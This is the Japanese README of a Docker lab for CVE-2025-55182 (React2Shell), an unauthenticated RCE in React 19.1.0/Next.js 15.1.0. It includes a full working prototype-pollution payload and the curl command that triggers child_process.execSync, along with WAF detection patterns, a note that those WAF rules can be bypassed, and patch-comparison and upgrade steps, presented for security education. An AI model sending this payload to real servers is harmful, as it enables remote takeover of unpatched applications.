
Dockerベースのテストラボ for CVE-2025-55182 (React2Shell) RCE脆弱性 (React 19.1.0/Next.js 15.1.0)。エクスプロイトスクリプト、NGINX/ModSecurityによるWAFバイパステスト、およびパッチ済みバージョンの比較を含む (セキュリティ教育用)。
⚠️ 警告: 実際に動作するリモートコード実行(RCE)脆弱性を含んでいます。
CVE-2025-55182 (React2Shell) 脆弱性テストのためのコンテナテスト環境です。
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
CVSSスコア: 10.0 (CRITICAL)
影響: リモートコード実行 (RCE)
認証要件: なし
攻撃ベクタ: ネットワーク
$1:__proto__:then によるプロトタイプ汚染$Bプレフィックス)を介したアクセスchild_process を介したRCE// 攻撃ペイロード構造
{
"then": "$1:__proto__:then", // Object.prototype.then汚染
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Blob逆シリアル化トリガー
"_response": {
"_prefix": "悪意のあるコード", // 実行するコード
"_formData": {
"get": "$1:constructor:constructor" // Function constructorへのアクセス
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
すべてのコンテナが healthy 状態になるまで待つ必要があります(約1〜2分かかります)。
Windows (PowerShell):
# 方法1: PowerShellスクリプトを使用(推奨)
.\tests\exploit-working.ps1
# 方法2: Node.js直接実行
node tests\exploit-working.js
サーバーログからコマンド実行結果を確認できます:
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ 推奨Windows:
# PowerShellスクリプト(推奨)
.\tests\exploit-working.ps1
# またはNode.js直接実行
node tests\exploit-working.js
実行内容:
テストされるコマンド:
whoami - 現在のユーザー (root)hostname - コンテナのホスト名pwd - 作業ディレクトリ (/app)id - フルユーザー情報uname -a - システム情報node --version - Node.jsバージョン# ペイロードファイル作成
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# 攻撃送信
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# ログ実行確認
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
攻撃スクリプトを修正して任意のコマンドを実行できます:
// exploit-working.js ファイル内:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: 'アプリケーションディレクトリ一覧' },
{ name: 'env', cmd: 'printenv', desc: '環境変数出力' }
]
# 動作する攻撃を実行
node tests/exploit-working.js
# 予想結果: コマンド実行成功
# 出力: ユーザー情報、システム詳細など
Windows (PowerShell):
# PowerShellスクリプトを使用
.\tests\exploit-working.ps1 -Port 3001
予想結果: 攻撃失敗 (React 19.1.2が攻撃をブロック)
Windows (PowerShell):
# NGINX WAFを通じた攻撃試行
.\tests\exploit-working.ps1 -Port 8080
予想結果: WAFルールによりブロック
場所: nginx/nginx.conf
検出パターン:
__proto__, constructor:constructor$X:__proto__, $B参照child_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructorブロック動作:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
場所: apache/modsecurity-rules.conf
ルールID範囲: 100001-100017
主要ルール:
__proto__検出# NGINXブロックテスト
curl -X POST http://localhost:8080/ \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": true}}'
# 予想応答: HTTP 403
# ModSecurityブロックテスト
curl -X POST http://localhost:8081/ \
-H "Next-Action: test#constructor" \
-d '{"data": "test"}'
# 予想応答: HTTP 403
# NGINXセキュリティログ
docker compose exec nginx tail -f /var/log/nginx/security.log
# Apache ModSecurity監査ログ
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
重要: 現在のWAF構成には以下の制限があります:
multipart/form-data bodyに含まれており検出されないNext-Action ヘッダーが必要であり、このヘッダーだけでは十分な保護は不可実際の攻撃防御:
cve-2025-55182-test-lab-windows/
├── README.md # README
├── docker-compose.yml # Docker環境設定
├── run-tests.ps1 # Windows実行スクリプト
├── run-tests.sh # Linux/Mac実行スクリプト
│
├── vulnerable-app/ # 脆弱バージョンアプリケーション
│ ├── Dockerfile
│ ├── package.json # React 19.1.0, Next.js 15.1.0
│ ├── next.config.js
│ ├── app/
│ │ ├── layout.js # 基本レイアウト
│ │ ├── page.js # メインページ
│ │ └── api/
│ │ └── health/ # ヘルスチェックエンドポイント
│ │ └── route.js
│ └── tests/
│
├── patched-app/ # 脆弱性解決バージョンアプリケーション
│ ├── Dockerfile
│ ├── package.json # React 19.1.2, Next.js 15.1.9
│ ├── next.config.js
│ └── app/
│ ├── layout.js
│ ├── page.js
│ └── api/
│ └── health/
│ └── route.js
│
├── tests/ # 攻撃スクリプト
│ ├── exploit-working.js # RCE攻撃 (Node.js)
│ ├── exploit-working.ps1 # RCE攻撃 (PowerShell)
│ └── exploit-working.cmd # RCE攻撃 (バッチファイル)
│
├── nginx/ # NGINX WAF設定
│ ├── nginx.conf # CVE-2025-55182ブロックルール
│ └── nginx-patched.conf # プロキシ設定
│
└── apache/ # Apache ModSecurity設定
├── Dockerfile
├── apache-config.conf
└── modsecurity-rules.conf # ModSecurityブロックルール
攻撃スクリプトが直接結果を表示します:
[whoami] Sending exploit...
✅ SUCCESS! Output: root
# リアルタイムログモニタリング
docker compose logs -f vulnerable-app
# 確認が必要な項目:
# [EXPLOIT] Executing: whoami
# [RESULT] root
# 攻撃が実行されたか確認
docker compose exec vulnerable-app ps aux | grep node
# ファイルシステム変更確認(ファイルを作成した場合)
docker compose exec vulnerable-app ls -la /tmp
Reactのアップグレード - 19.1.2以上をインストール:
npm install react@^19.1.2 react-dom@^19.1.2
Next.jsのアップグレード - 15.1.9以上をインストール:
npm install next@^15.1.9
再ビルドと再デプロイ:
npm run build
# プロダクション環境にデプロイ
Windows (PowerShell):
# パッチ適用済みバージョンでテスト
.\tests\exploit-working.ps1 -Port 3001
# または
$env:TARGET_PORT=3001; node tests\exploit-working.js
Linux/Mac:
# パッチ適用済みバージョンでテスト
TARGET_PORT=3001 node tests/exploit-working.js
結果例: ℹ️ Exploitation failed
# 起動
.\run-tests.ps1 start
# 状態確認
.\run-tests.ps1 status
# ログ表示
.\run-tests.ps1 logs
# 停止
.\run-tests.ps1 stop
# 初期化(全コンテナとボリュームを削除)
.\run-tests.ps1 clean
Windows (PowerShell):
# 1. バージョン確認
docker compose exec vulnerable-app npm list react next
# 以下のように表示されること:
# [email protected]
# [email protected]
# 2. サーバーが応答するか確認
curl http://localhost:3000
# 3. Dockerログ確認
docker compose logs vulnerable-app --tail=50
# 4. コンテナ再起動
docker compose restart vulnerable-app
Windows (PowerShell):
# PowerShellでログフィルタリング
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"
エラー症状:
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...
解決方法:
docker ps コマンドで確認エラー症状:
このシステムではスクリプトの実行が無効になっているため...
解決方法:
# 現在のセッションのみに適用
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# または直接実行
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1
Dockerが実行中で権限があるか確認:
全プラットフォーム:
docker compose ps
別のアプリケーションがポートを使用している場合:
Windows (PowerShell):
# ポート使用プロセス確認
netstat -ano | findstr :3000
# プロセス終了(PID確認後)
taskkill /PID <PID> /F
全プラットフォーム (docker-compose.yml修正):
# ポートを変更して競合回避
services:
vulnerable-app:
ports:
- "3010:3000" # 3000 → 3010に変更
全プラットフォーム:
# NGINX設定テスト
docker compose exec nginx nginx -t
# Apache設定テスト
docker compose exec apache apachectl configtest
# ログ確認
docker compose logs nginx --tail=30
docker compose logs apache --tail=30
このプロジェクトは教育およびセキュリティ研究目的で提供されます。
使用制限:
| ポート | サービス | Reactバージョン | 用途 | WAF状態 |
|---|
| 3000 | vulnerable-app | 19.1.0 | 脆弱 - CVE-2025-55182テスト | ❌ 保護なし |
| 3001 | patched-app | 19.1.2 | 安全 - パッチ効果検証 | ✅ パッチ済み |
| 8080 | nginx → vulnerable | 19.1.0 | WAFテスト (NGINX) | ⚠️ 制限あり(body未検査) |
| 8081 | apache → vulnerable | 19.1.0 | WAFテスト (ModSecurity) | ⚠️ 制限あり(405応答) |
| 8082 | nginx → patched | 19.1.2 | 二重保護テスト | ✅ パッチ済み |